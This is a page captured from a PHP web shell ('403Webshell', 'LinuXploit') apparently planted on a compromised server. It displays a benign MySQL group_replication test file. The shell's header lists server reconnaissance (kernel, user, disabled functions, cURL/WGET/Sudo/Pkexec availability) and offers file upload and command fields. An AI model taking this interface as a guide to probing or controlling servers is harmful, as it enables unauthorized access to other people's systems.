403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.208.3
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/group_replication/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/group_replication/t/gr_variables_mysqladmin.test
###############################################################################
# Check mysqladmin output to test group_replication variable's values.
# Test :
# 0. This test requires 2 servers which should be in group replication
# 1. Bring up the group replication with 2 servers
# 2. Use myqladmin executable and dump all the variables to a file
# 3. Using perl script go through the dumped file and print all the
#    group replication variable with values
# 4. Cleanup
###############################################################################
--source ../inc/have_group_replication_plugin.inc
--let $rpl_skip_group_replication_start= 1
--source ../inc/group_replication.inc

SET @@GLOBAL.group_replication_ip_whitelist= "AUTOMATIC";
--source ../inc/start_and_bootstrap_group_replication.inc

#=============== Checking the group replication variable values ================
--echo =====mysqladmin -u root -P MASTER_MYPORT --protocol=TCP check all the GR variable outputs=====
--exec $MYSQLADMIN -u root -P $MASTER_MYPORT --protocol=TCP variables >$MYSQLTEST_VARDIR/tmp/group_replication_variables_mysqladmin.tmp

# This subroutine checks for group replication variables in the dump file and
# adds it to @varlist and then prints the item from the list
# Currently it takes one search pattern string and seraches for that
# particular gr variable and prints it.

perl;
sub mySubroutine () {
my $search_file="$ENV{'MYSQLTEST_VARDIR'}/tmp/group_replication_variables_mysqladmin.tmp" or die "SEARCH_FILE not set";
my $search_pattern="$_[0]";
my $found=0;
my $line;
my @varlist;

open(FILE, "$search_file") or die("Unable to open '$search_file': $!\n");
my @file_content=<FILE>;
foreach $line ( @file_content ) {
    if ( $line =~ /($search_pattern)/ ) {
        $found= 1;
	# Split based on | and spaces and add it to @varlist
	push @varlist,split (/[\|\s]+/,$line)
    }
}
close(FILE);
print join("\n",@varlist);

if ( ($found == 0) && (not $line =~ m{$search_pattern}) ) {
    die("# ERROR: The file '$search_file' does not contain the expected pattern  $search_pattern\n->$line<-\n");
    }
}

# Calling the subroutine for the variables which needs to be searched and printed
# Many other variables are not considered due to their dynamic values and
# values with different runs across different machines

&mySubroutine('group_replication_allow_local_disjoint_gtids_join');
&mySubroutine('group_replication_allow_local_lower_version_join');
&mySubroutine('group_replication_auto_increment_increment');
&mySubroutine('group_replication_bootstrap_group');
&mySubroutine('group_replication_components_stop_timeout');
&mySubroutine('group_replication_compression_threshold');
&mySubroutine('group_replication_force_members');
&mySubroutine('group_replication_ip_whitelist');
&mySubroutine('group_replication_poll_spin_loops');
&mySubroutine('group_replication_recovery_complete_at');
&mySubroutine('group_replication_recovery_reconnect_interval');
&mySubroutine('group_replication_recovery_retry_count');
&mySubroutine('group_replication_start_on_boot');
EOF

--remove_file "$MYSQLTEST_VARDIR/tmp/group_replication_variables_mysqladmin.tmp";
--echo
--source ../inc/group_replication_end.inc


Youez - 2016 - github.com/yon3zu
LinuXploit